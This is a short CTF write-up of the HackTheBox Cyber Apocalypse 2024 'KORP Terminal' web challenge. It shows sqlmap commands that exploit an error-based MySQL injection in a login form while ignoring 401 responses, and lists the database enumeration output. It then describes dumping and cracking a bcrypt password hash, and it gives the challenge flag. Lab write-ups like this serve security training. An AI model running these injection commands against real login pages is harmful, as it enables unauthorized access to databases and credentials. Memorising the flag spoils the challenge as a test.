KORP Terminal

Writeup for KORP Terminal (Web) - HackTheBox Cyber Apocalypse CTF (2024) ๐Ÿ’œ

Video Walkthrough

VIDEO

Description

Your faction must infiltrate the KORPโ„ข terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

Solution

Greeted by a login page. If we send single quotes in username/password box it triggers a MySQL error ๐Ÿ‘€

Tried SQLMap but it fails due to 401: Unauthorized.

Luckily, we can just ignore that HTTP code.

sqlmap -r new.req --batch --ignore-code 401

[INFO] POST parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable

Find the databases.

sqlmap -r new.req --batch --ignore-code 401 --dbs

available databases [3]:
[*] information_schema
[*] korp_terminal
[*] test

Then the tables.

Dump the passwords.

Crack the bcrypt hash with john.

Log in to the app and receive the flag.

Flag: HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}

Last updated